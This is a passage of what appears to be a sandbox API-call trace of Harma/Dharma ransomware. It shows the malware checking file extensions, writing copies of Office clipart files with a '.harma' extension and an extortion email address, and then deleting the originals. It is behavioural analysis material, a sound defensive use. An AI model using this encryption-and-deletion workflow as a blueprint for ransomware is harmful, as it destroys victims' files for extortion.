Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0141.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0141.723] lstrlenW (lpString=".doc") returned 4 [0141.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString=".docx") returned 5 [0141.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.723] lstrlenW (lpString=".pdf") returned 4 [0141.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString=".xls") returned 4 [0141.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.723] lstrlenW (lpString=".xlsx") returned 5 [0141.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.723] lstrlenW (lpString=".ppt") returned 4 [0141.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0141.723] lstrlenW (lpString=".zip") returned 4 [0141.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.723] lstrlenW (lpString=".rar") returned 4 [0141.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString=".bz2") returned 4 [0141.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString=".7z") returned 3 [0141.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0141.724] lstrlenW (lpString=".dbf") returned 4 [0141.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0141.724] lstrlenW (lpString=".1cd") returned 4 [0141.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0141.724] lstrlenW (lpString=".jpg") returned 4 [0141.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.724] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0141.724] lstrlenW (lpString="AN04206_.WMF") returned 12 [0141.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0142.309] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=7668) returned 1 [0142.309] CloseHandle (hObject=0x210) returned 1 [0142.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0142.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0142.474] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.475] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0143.124] GetLastError () returned 0x0 [0143.124] ReadFile (in: hFile=0x368, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1df4, lpOverlapped=0x0) returned 1 [0143.126] WriteFile (in: hFile=0x330, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1e00, lpOverlapped=0x0) returned 1 [0143.127] ReadFile (in: hFile=0x368, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.127] WriteFile (in: hFile=0x330, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.128] SetEndOfFile (hFile=0x330) returned 1 [0143.135] CloseHandle (hObject=0x330) returned 1 [0143.135] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.135] SetEndOfFile (hFile=0x368) returned 1 [0143.137] CloseHandle (hObject=0x368) returned 1 [0143.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0143.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0143.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0143.201] lstrlenW (lpString=".doc") returned 4 [0143.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.201] lstrlenW (lpString=".docx") returned 5 [0143.201] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.201] lstrlenW (lpString=".pdf") returned 4 [0143.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.201] lstrlenW (lpString=".xls") returned 4 [0143.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.201] lstrlenW (lpString=".xlsx") returned 5 [0143.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.201] lstrlenW (lpString=".ppt") returned 4 [0143.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0143.201] lstrlenW (lpString=".zip") returned 4 [0143.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.201] lstrlenW (lpString=".rar") returned 4 [0143.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.201] lstrlenW (lpString=".bz2") returned 4 [0143.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.201] lstrlenW (lpString=".7z") returned 3 [0143.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0143.201] lstrlenW (lpString=".dbf") returned 4 [0143.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0143.201] lstrlenW (lpString=".1cd") returned 4 [0143.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0143.201] lstrlenW (lpString=".jpg") returned 4 [0143.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0143.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0143.202] lstrlenW (lpString=".doc") returned 4 [0143.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.202] lstrlenW (lpString=".docx") returned 5 [0143.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.202] lstrlenW (lpString=".pdf") returned 4 [0143.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.202] lstrlenW (lpString=".xls") returned 4 [0143.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.202] lstrlenW (lpString=".xlsx") returned 5 [0143.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.202] lstrlenW (lpString=".ppt") returned 4 [0143.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0143.202] lstrlenW (lpString=".zip") returned 4 [0143.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.202] lstrlenW (lpString=".rar") returned 4 [0143.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.202] lstrlenW (lpString=".bz2") returned 4 [0143.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.202] lstrlenW (lpString=".7z") returned 3 [0143.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0143.202] lstrlenW (lpString=".dbf") returned 4 [0143.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0143.202] lstrlenW (lpString=".1cd") returned 4 [0143.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0143.202] lstrlenW (lpString=".jpg") returned 4 [0143.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.203] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0143.203] lstrlenW (lpString="BD00146_.WMF") returned 12 [0143.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0143.251] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=28948) returned 1 [0143.251] CloseHandle (hObject=0x34c) returned 1 [0143.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0143.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0143.251] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.251] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0143.261] GetLastError () returned 0x0 [0143.261] ReadFile (in: hFile=0x34c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x7114, lpOverlapped=0x0) returned 1 [0143.263] WriteFile (in: hFile=0x210, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x7120, lpOverlapped=0x0) returned 1 [0143.264] ReadFile (in: hFile=0x34c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.264] WriteFile (in: hFile=0x210, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.264] SetEndOfFile (hFile=0x210) returned 1 [0143.264] CloseHandle (hObject=0x210) returned 1 [0143.265] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.265] SetEndOfFile (hFile=0x34c) returned 1 [0143.267] CloseHandle (hObject=0x34c) returned 1 [0143.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0143.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0143.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0143.271] lstrlenW (lpString=".doc") returned 4 [0143.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.271] lstrlenW (lpString=".docx") returned 5 [0143.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.271] lstrlenW (lpString=".pdf") returned 4 [0143.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.271] lstrlenW (lpString=".xls") returned 4 [0143.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.272] lstrlenW (lpString=".xlsx") returned 5 [0143.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.272] lstrlenW (lpString=".ppt") returned 4 [0143.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0143.272] lstrlenW (lpString=".zip") returned 4 [0143.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.272] lstrlenW (lpString=".rar") returned 4 [0143.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.272] lstrlenW (lpString=".bz2") returned 4 [0143.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.272] lstrlenW (lpString=".7z") returned 3 [0143.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0143.272] lstrlenW (lpString=".dbf") returned 4 [0143.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0143.272] lstrlenW (lpString=".1cd") returned 4 [0143.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0143.272] lstrlenW (lpString=".jpg") returned 4 [0143.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0143.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0143.272] lstrlenW (lpString=".doc") returned 4 [0143.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.272] lstrlenW (lpString=".docx") returned 5 [0143.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.272] lstrlenW (lpString=".pdf") returned 4 [0143.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.273] lstrlenW (lpString=".xls") returned 4 [0143.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.273] lstrlenW (lpString=".xlsx") returned 5 [0143.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.273] lstrlenW (lpString=".ppt") returned 4 [0143.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0143.273] lstrlenW (lpString=".zip") returned 4 [0143.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.273] lstrlenW (lpString=".rar") returned 4 [0143.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.273] lstrlenW (lpString=".bz2") returned 4 [0143.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.273] lstrlenW (lpString=".7z") returned 3 [0143.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0143.273] lstrlenW (lpString=".dbf") returned 4 [0143.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0143.273] lstrlenW (lpString=".1cd") returned 4 [0143.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0143.273] lstrlenW (lpString=".jpg") returned 4 [0143.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.273] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0143.273] lstrlenW (lpString="BD00160_.WMF") returned 12 [0143.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0143.275] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=22516) returned 1 [0143.275] CloseHandle (hObject=0x34c) returned 1 [0143.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0143.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0143.276] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.276] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0143.276] GetLastError () returned 0x0 [0143.276] ReadFile (in: hFile=0x34c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x57f4, lpOverlapped=0x0) returned 1 [0143.278] WriteFile (in: hFile=0x210, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5800, lpOverlapped=0x0) returned 1 [0143.279] ReadFile (in: hFile=0x34c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.279] WriteFile (in: hFile=0x210, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.280] SetEndOfFile (hFile=0x210) returned 1 [0143.280] CloseHandle (hObject=0x210) returned 1 [0143.280] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.280] SetEndOfFile (hFile=0x34c) returned 1 [0143.283] CloseHandle (hObject=0x34c) returned 1 [0143.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0143.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0143.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0143.284] lstrlenW (lpString=".doc") returned 4 [0143.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.284] lstrlenW (lpString=".docx") returned 5 [0143.284] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.284] lstrlenW (lpString=".pdf") returned 4 [0143.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.284] lstrlenW (lpString=".xls") returned 4 [0143.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.284] lstrlenW (lpString=".xlsx") returned 5 [0143.284] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.284] lstrlenW (lpString=".ppt") returned 4 [0143.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0143.284] lstrlenW (lpString=".zip") returned 4 [0143.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.284] lstrlenW (lpString=".rar") returned 4 [0143.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.285] lstrlenW (lpString=".bz2") returned 4 [0143.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.285] lstrlenW (lpString=".7z") returned 3 [0143.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0143.285] lstrlenW (lpString=".dbf") returned 4 [0143.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0143.285] lstrlenW (lpString=".1cd") returned 4 [0143.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0143.285] lstrlenW (lpString=".jpg") returned 4 [0143.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0143.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0143.285] lstrlenW (lpString=".doc") returned 4 [0143.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.285] lstrlenW (lpString=".docx") returned 5 [0143.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.285] lstrlenW (lpString=".pdf") returned 4 [0143.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.285] lstrlenW (lpString=".xls") returned 4 [0143.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.285] lstrlenW (lpString=".xlsx") returned 5 [0143.285] lstrcmpiW (lpString1=".xlsx", 